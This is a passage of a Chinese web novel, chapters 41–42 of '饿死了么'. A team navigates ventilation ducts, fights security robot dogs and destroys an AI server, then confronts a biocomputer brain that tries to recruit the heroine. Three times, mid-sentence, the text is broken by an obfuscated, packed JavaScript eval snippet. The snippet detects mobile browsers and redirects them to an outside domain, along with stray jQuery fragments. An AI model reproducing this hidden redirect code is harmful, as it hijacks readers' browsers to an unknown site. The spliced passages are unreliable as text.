“没关系,带我们去办公区,我们会有办法结束这一切的。”她的眼睛亮亮的,谈闻在一旁看她,恍惚间甚至觉得,只要她想,就没有什么事情是她办不到的。 刚才话还很密的男人突然沉默了。片刻之后,他用力清了清喉咙,重新开口:“如果,我是说如果……你们失败了的话,可不可以想个办法,先把我杀了?” 他不想给眼前这个无比诚恳的女人泼冷水,但他也不想再体验一次在这个不见天日的地方,浑浑噩噩地等待渺茫的希望的感觉了。 还有,他不想渴死,也不想饿死,这两种死法太煎熬了,不如给他一个痛快。 岑今笑了,她没有向他保证他们一定不会失败,只是简单地答应了。 “好。”她说。 “那你们上来吧。”男人也终于露出一个浅淡的笑,冲他们伸手,“对了,我叫蒋一齐。” “等等,我们还有队友。”岑今一个闪身,原地消失。 蒋一齐再一眨眼,岑今和谈闻已经带着另外三个眨巴着大眼睛的队友,在通风管道下排好了队。 岑今露出一口白牙:“现在齐了。” 她简单和在外放风三人组解释了事情原委,几人成一路纵队,岑今打头,姜月月垫底,跟在蒋一齐身后爬进了通风管道。 通风管道内弥漫着饭菜味和机油味混合的气味,高度只能允许岑今手脚并用爬着走,完全直不起身子。 她都不敢想象,蒋一齐在幽暗逼仄的管道里躲藏的这么多天,究竟是怎么过来的。 “岑今老师,我们去办公区,然后呢?还要做什么才能终结试用期考核?”路阳和她隔了两个身位,声音在管道的四壁间回荡。 “还记得刚进这个副本的时候,我说我梦到了副本预告片吗?”头顶滴下一滴冰凉的水珠,刺得岑今后颈起了一片鸡皮疙瘩,“我看到了一个房间,房间里有一个悬浮在营养液里的巨大人脑,上面插满了电线。” 路阳想象了一下那个场景,倒吸了两口凉气。 “根据之前几次看副本预告片的规律,这大概率就是我们最终决战的场景。”岑今继续道。 “岑今老师觉得这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493737|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房间在办公区,对吧?” 岑今没有回答路阳,而是问了她身前专心认路的蒋一齐一个问题:“你在这个工厂里,见过厕所吗?” 蒋一齐有四分莫名,还有六分尴尬,但仍然据实以告:“没有,我都是找个库房偷偷上厕所,你想上厕所吗?” “不是我!我也没有打探你去哪里上厕所的意思!”岑今连忙解释,她这才后知后觉地意识到,刚刚的问题听起来确实有点奇怪。 “我是想说,这个工厂没有厕所,那么大概率,这个工厂不存在人类。”准确地说,是不存在除了原材料之外的人类。 “那么,是谁在指挥这么大一座工厂,甚至是整个外卖平台的运作呢?”岑今的声音不大,却清晰地传入了每一个人的耳朵里。 谈闻在岑今身后一边爬着,一边还能打个响指:“中央AI。” “所见略同。”岑今扭头,笑着瞥了他一眼,“我怀疑我看到的那个‘人脑’,其实就是‘饿死了么’的大脑,也就是支持整个平台运行的中央AI。” 路阳又倒吸了两口凉气,说道:“头好痒,好像要长脑子了。” 一直没出声的林思妍开口了:“所以,毁了那颗人脑,平台就会停止运行,试用期考核自然也就不存在了,对吗?” 岑今点点头:“这是我的猜测。” “你的猜测应该是正确的,主线任务进度涨了。”姜月月的声音从队伍末尾传来,听起来有些朦胧。 岑今闻声打开了久违的任务面板: 【主线任务:终结“饿死了么”平台试用期考核】 【完成进度:65%】 果然,涨了5%。 “我怎么听不明白你们在说什么了?”蒋一齐突然停了下来,语气里充满了迷惑。 “没事,一会儿到了你还是藏在管道里就行,不用管我们。”岑今拍拍他,示意他继续爬。 “已经到了。”蒋一齐侧身让开,指了指他掌下压着的通风管道口,“这个口开在办公区走廊的入口。” 岑今一愣,问道:“里面的房间没有接通风管道吗?”虽然办公室里大概率只有各种各样的机器和机器人,但机器运作也是需要换气散热的吧。 “再往前爬确实还有一个口,但那个口特别小,正常人根本出不去,我只去过一次,也没仔细看外面的情况。” “就是那个口,带我们过去。”岑今相信,他们离正确答案只有一步之遥了。 蒋一齐喘了口气,带着几人在狭窄的通风管道中继续前行。 岑今能感觉到,周围的空气渐渐开始变热了。每一次呼吸都有灰尘翻滚着涌入鼻腔,她咬住舌尖,强忍着打喷嚏的冲动,手下脚下都放轻了动作,几乎没发出一点声音。 “就是这里。”蒋一齐再一次停了下来,指着右侧管壁上一个明显小了好几号的通风口说道。 这个通风口的开口只有拳头大小,别说正常人了,就算是出生的婴儿来了,也没法从这里出去。 岑今轻轻往前爬了两步,凑近那个小通风口,右眼对准了缝隙。 41.饿死了么(十一) 通风口的网格状挡板像是给她的视野打上了马赛克,她眯起眼,依稀看到一个巨大的圆柱体密闭容器,里面装满了浅绿色的半透明液体,一颗粉白色的硕大“人脑”,正在中央上下浮动。 眼前的画面与最初进入副本时看到的画面重合——就是这里。 人脑浸泡在液体中,缓缓转动了方向。它明明没有眼睛,岑今却在那一瞬间感觉像是被一道视线锁定,后背一片冰凉。 她猛地向后拉开身体,收回了视线。 “看到了什么?”谈闻在她身后低声问道。 岑今侧过身让开了位置,让谈闻也能透过通风口,看到室内的景象。 “这玩意儿比我想象的还要恶心,”他毫不客气地点评,“看起来像个泡在福尔马林里的标本。” “这一伙机器人的品味都不怎么样。”岑今小声吐槽,又转身向姜月月招招手,“月月,交给你一个任务。” “什么?”姜月月爬上前来。 岑今指了指蒋一齐,说:“一会儿如果我们不幸失败了,你记得第一时间把他咬死。” “放心,她自带蛇毒,咬一下死得很快的,一点儿也不痛苦。”她看向蒋一齐,贴心地补充了一句。 姜月月:“……” 蒋一齐讷讷开口:“……谢、谢谢你。” 岑今交代完,再一次回到了通风口前——迟早是要传送进去和人脑面面相觑的,不如先趁着在管道里的时候,把屋里的情况看清楚了。 她忍住恶寒,眯起了眼睛。 数不清多少根粗细不一的管线从圆柱形容器的底部延伸出来,穿过地板,连接着布满四周墙壁的显示屏。 屏幕上的信息飞速滚动,容器里的液体咕嘟嘟冒着泡泡。 岑今忽然反应过来,泡着“人脑”的浅绿色液体不是她之前以为的“营养液”,而是电子冷却氟化液;中央的“人脑”,则是一台浸没式主机。 冷却液冒泡泡,是因为机器正在高速运转,释放了大量的热量。 地面上有六只机器狗,后背的金属外壳上印着鲜红的“SECURITY”字样,但它们一动不动,似乎都处于待机状态。 不过,等她一会儿出现了,这六只安保机器狗应该就要开始工作了。 好消息是,通风口虽小,但也勉强能把房间看个大概; 但坏消息是,这间房间四四方方,一览无余,没有任何可藏身之处。 岑今打开被她冷落已久的直播界面,向观众们迅速飞了个礼,然后头也不回地对队友们说:“我先下去看看情况,你们接应。” “诶岑今老师——”路阳的话才说了个开头,岑今的身影就已经消失在了众人面前,“什么接应嘛,明明就是我们休息待命……” 哒。 岑今迈出隧洞,脚尖轻巧地落在机器狗的背上,发出一声避无可避的轻响。 下一秒,刺耳的警报声划破一室寂静,天花板上闪起红光,那些原本静止的机器狗在瞬间醒转,调转狗头朝向她的方向。 “啊哦。”岑今仍然踩在狗背上,左右看看,投降似的举起了双手。 “发现异常生命体,发现异常生命体。”机械的电子音从四方传来,有男有女——散落在房间各处的六只机械狗同时张开了嘴。 不过它们的嘴里没有牙齿,也没有舌头,有的只是一个和方块机器人的金属面罩下一模一样的,黑洞洞的发射口。 “异常生命体已锁定。” 砰!一团亮着白光的炮弹从最远的机械狗口中喷出,携带热浪呼啸而来。 这就像是一个信号,砰砰声接连响起,六枚炮弹从不同的角度锁定了岑今,包括她的脚下。 在第一枚炮弹到来之前,她身影一晃,消失在了半空中。 天花板下方的空气几不可见地流动起来,半透明隧洞旋转着张开,把岑今“吐”了出来。 “这里哦。”她双手扣住天花板上的红色警报灯,后腰发力,荡起了身子。 三枚炮弹在空中撞在了一处,白光猛地炸开,升起团团白烟,爆炸的冲击波将一只倒霉的机械狗掀翻在地。 另外三枚炮弹拐了个弯,直追天花板下挂着的岑今而来。 居然还是追踪导弹,这下有点麻烦了。 传送隧洞在岑今的脚下打开,她松开青筋暴起的手,坠入洞中,再一次消失。 地面上,倒下的机械狗重新爬起来,六只机械狗一起动了。它们似乎遵循着某种“阵法”,每只机械狗的位置都在变动,但彼此之间的相对位置又能保持不变。 岑今这一次出现在圆柱体容器的正后方。 她半个身体刚从隧洞中探出,余光就被密密的一片白光占据。 原本剩下的三枚,加上新一轮喷出的六枚,一共九枚炮弹,正从各个方向向她疾驰而来。 岑今不敢托大停留,后脚刚迈出隧洞,前脚就已经踏进了下一个隧洞。 两枚炮弹撞在了盛放主机的圆柱体容器上,她回头看了最后一眼,这玩意儿不知道是用什么材料造的,居然只有里边的液体晃了晃,外边的壳完好无损,连一丝裂纹都没有。 又有三枚炮弹在她刚刚现身的地方撞作一团。 “真是热情的欢迎仪式啊。”岑今嘴角扯出一个冷笑,在房间的西北角闪过,速度快得像一道幻影。 在通风管道里“接应”的几人都有些坐不住了。谈闻透过管道口的缝隙,紧紧盯着下边的情况,不觉手心已经凉透。 这次有十枚炮弹满房间地追她。 “岑今老师怎么样了啊!”路阳扒在谈闻身后,恨不得能直接跳出管道蹦下去,“让我变成藤条去绑两只机器狗也行啊!” 姜月月看得眉头紧皱,但还是冷静地摇了摇头:“被炮弹擦到一下,你就烧没了。” “我总觉得有哪里不对劲……”林思妍收起笑脸,向来温柔的神情在此刻变得格外严肃。 蒋一齐在一旁抱住了自己的膝盖,缩成一团,抬头望向头顶的管壁,像是在默默祈祷。 谈闻眨了眨眼,底下的岑今从房间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507882|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一角消失,重新出现在了圆柱体容器的右侧。 她的额头上渗出一层细密的汗珠,在高强度使用空间穿梭能力的同时,还要飞速思考下一步的落点,这是对她体力与脑力的双重消耗。 半空中,飞了一半的炮弹急急调头,又有三枚炮弹没来得及拐弯,直直撞上了圆柱体容器,然后砰砰炸开,容器依旧毫发无损。 像这样在一条对角线上来回传送,就可以利用炮弹转向的时间差,让它们撞上障碍物自行销毁。 岑今片刻不停,又从圆柱体容器的一侧,传送回了房间西北角。 但这一次,她刚从隧洞中露头,就发现六只机器狗的发射口已经齐刷刷对准了她,闪着白光的炮弹正准确无误地向她袭来——它们预判了她的行动轨迹。 机器狗的反应速度在提升,应该是那只安安静静的人脑主机在实时优化它们的战斗算法。 她的脑子转得再怎么快,也快不过算力强大的计算机。这样下去,拖得越久,她的胜算就越小。 岑今的目光离开逐渐放大的白色炮弹,落在了房间中央的圆柱体容器上。 她擦去滑落脸颊的汗珠,迈入身前椭圆形的隧洞。 下一刻,通风管道里的林思妍捂住嘴,咽下一声惊呼——岑今直接传送进了圆柱体容器的内部,和人脑一起,浸泡在浅绿色的液体中。 这下是真的和人脑面面相觑了。 岑今被温热的液体包裹,泡泡不断从脚下升起,她暴露在外的皮肤传来一阵啃噬般的瘙痒。 她知道电子氟化液可能会有腐蚀性,但还好,这一款的浓度不算太高,她还可以忍受。 她努力睁着眼睛,透过晃动的液体,她看到足足十三枚炮弹从四面八方向中央汇聚。 眼下的场面似乎超出了人脑主机的预想,它的温度在升高,浅绿色液体翻腾得更加剧烈。 砰砰砰砰砰—— 第一颗炮弹撞上容器的外壁,然后是第二颗,第三颗……耀眼的白光接连炸开,圆柱体容器在弥漫的烟尘中隐隐开始晃动。 通风管道里的几人都屏住了呼吸,眼睛一眨不眨,但没人能看清容器内部的情况。 终于,在第十三颗炮弹砸上容器的那个瞬间,“轰”的一声巨响,圆柱体容器在顷刻间裂成了碎片,氟化液喷涌而出,倾泻一地。 高温的炮弹在氟化液里滚了一圈,滋啦啦冒出一阵白烟,然后偃旗息鼓躺落在地。 一室狼藉,唯独不见岑今和那颗人脑主机。 “岑今老师人呢?!”路阳趴在管道口,眼睛紧紧贴着透光的缝隙,不敢置信地一遍又一遍搜寻。 姜月月深吸了一口气,捏住颤抖的小手,坚定地开口:“肯定没事。” 谈闻盯着空荡荡的手心,没有说话。 他的六面骰飞出去了,岑今一定还活着。 “我回来了。” 众人一齐转头。管道里,岑今靠着管壁坐下,浑身湿漉漉的,头发丝还在往下滴水,手里抓着拔光了管线的那只人脑主机。 42.饿死了么(十二) 刚刚和机器狗捉迷藏的时候她就发现了,容器足够坚硬,能扛得住炮弹的轰炸。 所以,炮弹刚开始撞击容器的时候,她一点儿也不担心,正忙着切断连接住人脑主机的密密麻麻的管线。 直到最后,容器壁的第一声碎裂声响起,她正好切断最后两根管线。她于是在即将决堤的氟化液中打开隧洞,带着人脑主机纵身一跃,一起传送回了通风管道。 谈闻终于暗暗松了口气,笑着对岑今说:“送了你一个一倍增幅的骰子,不用谢。” “倒也没有很想谢。”她瞥了一眼胸口即将散去的金芒,又用力把人脑捏紧了些。 “我就知道队长一定可以的!”林思妍的眼睛重新亮了起来,正想扑过去,岑今手上却凭空多出了一个大锤。 岑今掏出了【雷神之锤】。 在她离开通风管道,真正进入房间之后,先前那种被窥视的感觉就再也没有出现过。人脑主机除了发热,也一直安安静静,没有任何异常。 她觉得不对劲,非常不对劲。 嘭—— 岑今在狭窄的管道里举起大锤,用带有高压电的锤头,一锤将人脑主机顶到了管壁上。 她用了十成十的力道,人脑主机从中间凹成了一个大碗,管壁凿出去了一块,还被电流烧得焦黑。 人脑嗒啦滚落在地,金属碎片掉得七零八落。 结束了吗? 岑今打开任务面板: 【主线任务:终结“饿死了么”平台试用期考核】 【完成进度:90%】 果然,任务还没有完成。 “诶,为什么我这儿任务进度显示的还是90%啊?”路阳看了看四周,又凑到管道口向房间里看去,“脑子砸了,底下的显示屏也全黑屏了,这个破平台的系统应该彻底报废了吧?” 通风管道里原本喜悦的氛围渐渐冷却下来。 蒋一齐激动的神情僵在了脸上,他的语气里满是不解:“不是打赢了吗?我们现在为什么不出去?” 在岑今回答他之前,一个陌生的女声从不知何处响了起来,空灵又朦胧。 “我等你很久了……”她说。 岑今浑身的寒毛霎时立了起来——又出现了,和之前相同的,那种莫可名状的窥视感。 姜月月的耳朵动了动,开口道:“声音是从下面响起来的,不是这个房间。” “……我喜欢你的能力……”她继续说,岑今的寒毛继续站岗。 “老师们,这是个什么情况?”事情变得诡异了起来,路阳忍不住出声。 “嗯……”岑今踢开躺在地上破烂不堪的人脑主机,收回大锤,“大概是我的异能被一个神秘生物看上了的情况。” 林思妍若有所思地挤开路阳,凑近了管道口,眯起眼睛盯着最中间那一块地板。 她刚刚总觉得有哪里不对—— “我之前多看了几眼地面上的管线,你们看中间那两根。” 她让开位置,让岑今过来。 地上一片狼藉,机器狗被爆炸的冲击波掀倒在各处。岑今自动略过凌乱的碎片、一摊又一滩水渍,找到了两根半透明的细管。 管道里,隐约有淡紫色的液体在缓缓流动。和那些被岑今切断、委顿在地的管线不一样,细管完完整整,末端没入地面之下。 “它们输送的液体,看颜色有点像一种细胞培养溶液,我在实验室里见过。”林思妍在岑今身后补充道。 岑今挑了挑眉:“什么意思,楼下可能有碳基生物?” 林思妍一本正经地纠正:“是楼下可能有碳基细胞。” 听起来好像更诡异了。 空灵的女声再一次适时响起,抚过在场每一个人的皮肤,激起一阵又一阵的鸡皮疙瘩:“请过来吧,请过来吧……” 岑今偏过头看看大家:怎么说? 林思妍第一个抱住她的手臂,眼泪汪汪:“不管怎么样,这次你都不能把我们丢在这里了!” 路阳举双手支持:“岑今老师,天生我材必有用,说不定我就能帮上忙了呢!” 谈闻低头看了一眼光脑,笑说:“离下一个骰子还有五分钟,这次绝对不投1了。” 姜月月一如既往地面无表情,但眼神直勾勾地盯着岑今:“有细胞,我的毒就可以起作用。” 岑今一时没说话,她莫名有点感动。 于是,她转头向缩在角落的蒋一齐问道:“你还要继续留在这里吗?” 蒋一齐已经听懂了他们的意思——事情还没完,最后能不能成功,依旧不好说。 他本来燃起的希望,再一次被浇灭了一半。 “你们……真的有办法结束这一切吗?”他艰难地开口,没有看岑今,像一只惊弓之鸟。 “就算我们没有办法结束这一切,起码也有办法先结束你。”岑今拍拍他的肩膀,叹了口气,“你留在这里接应我们吧。” 他一个人在通风管道里生存到今天,确实已经很不容易了。她可以理解蒋一齐称不上懦弱的躲闪。 安顿完蒋一齐,她回过头对路阳一笑:“老传统,先去探探路。” 路阳坐直敬了个礼,然后变回了那朵经典的粉色小花。 岑今估摸着距离,在这一间房间地下的某处张开了传送隧洞。如果下面同样是一个正常房间的话,她这个洞应该差不多开在天花板上。 粉色小花版路阳从地下的隧洞探头,匆匆一瞥,又回到了众人面前。 “怎么样?”岑今问他。 “报告各位老师,楼下也有一个脑子!”路阳搓了搓手臂,龇牙咧嘴的,“房间大小和这里类似,但没有机器狗,也没有显示屏,是一间暗室,中央同样有一个圆柱体的容器,脑子泡在容器淡紫色的液体里。” 听起来似乎不像这个房间那么危险。 岑今咬咬牙,挥手撑开隧洞:“一起走。” 下一刻,五人齐齐踏出隧洞,落在了暗室的地面上。他们面前,悬浮在圆柱体容器中的大脑缓缓转动,张开不存在的“嘴”,发出一阵尖利的啸叫—— 又是岑今似曾相识的画面。 现在想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515085|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,她当时看到的预告片更像是上下两个房间的重叠与融合,暗室属于这里,浅绿色的液体属于楼上,真正核心且不变的,就是那个悬浮的大脑。 岑今捂住耳朵,在一片恍惚中,努力朝这只大脑看去: 和楼上人脑主机的机械外壳不同,这只大脑的粉白色表皮上隐隐有神经元一般的花纹在鼓动,就像是会呼吸一般。 如果说楼上的人脑主机是纯粹的机械造物,是异形计算机;那么现在他们眼前的大脑,则更像是生物与机械的结合。 岑今忽然想到了长久以来都存在的一个概念——生物计算机。 生物计算机可以将硅基芯片与人类的活体神经元进行深度融合,让计算系统实现类人脑的、更高智能水平的学习与思考。 楼上的人脑主机是传统计算机,负责运算与执行;楼下的大脑是生物计算机,负责决策与统筹。 原来是这样。 在外面的世界,这项技术在实验室里已经是热门,但距离普通人的生活还很遥远。 岑今一直对它很好奇。 “岑今,欢迎来到我的核心。”一翕一合的神经元开始在她眼前晃动、旋转,之前那个空灵的女声直接在她的脑海里响起,“我观察你很久了,你是这批员工中,最优秀的一个。” 岑今头痛欲裂,耳中嗡鸣声掀起一浪又一浪。 她张嘴想要说话,声带明明在振动,却发不出一点儿声音。 “别着急呀,我们慢慢聊……”女声幽幽飘来,岑今感觉周围的气温都降低了两度。 “和我合作吧,岑今。你的时空能力,能帮助我改变这个世界……” 改变什么世界?能让外卖送得更快吗?岑今朦朦胧胧地想着,意识忽沉忽浮。 “在新世界,我可以给你,你想要的一切……” 她想要的一切?她本来是想要做什么来着? ——对了,她是来完成任务的。她要带蒋一齐离开工厂,还要和她的队员们一起离开副本。 眼前像吃了毒蘑菇一样迷幻、流动的世界寸寸碎裂,露出暗室里原本单调、阴暗的模样。 环绕她的空灵女声如海水般退潮,不大的房间重归寂静。 “呸。”岑今吐出了一个简短而有力的音节。 泡在淡紫色培养液里的大脑急促收缩又膨胀,像是一颗突然被攥紧的鲜活心脏。 她回头看向其他四人,他们都是一副张嘴瞪眼的呆愣神情,显然也是被眼前的大脑影响了。 岑今上前,一步步向房间中央的圆柱体容器走过去。 她每迈一步,大脑就紧跟着收缩一下,她仿佛都能听到砰砰的跳动声。 她一手贴上容器的外壁,另一只手中凭空出现了一副红框眼镜,【村医的眼镜】。 「……戴上这副眼镜,由于镜片的反光过于强烈,任何与你对视的生物都会感到一阵眩晕,持续时长10s-30s不等。」 生物计算机算生物吗?她总觉得,这只诡异的大脑不只是单纯的生物计算机。 先戴上试试。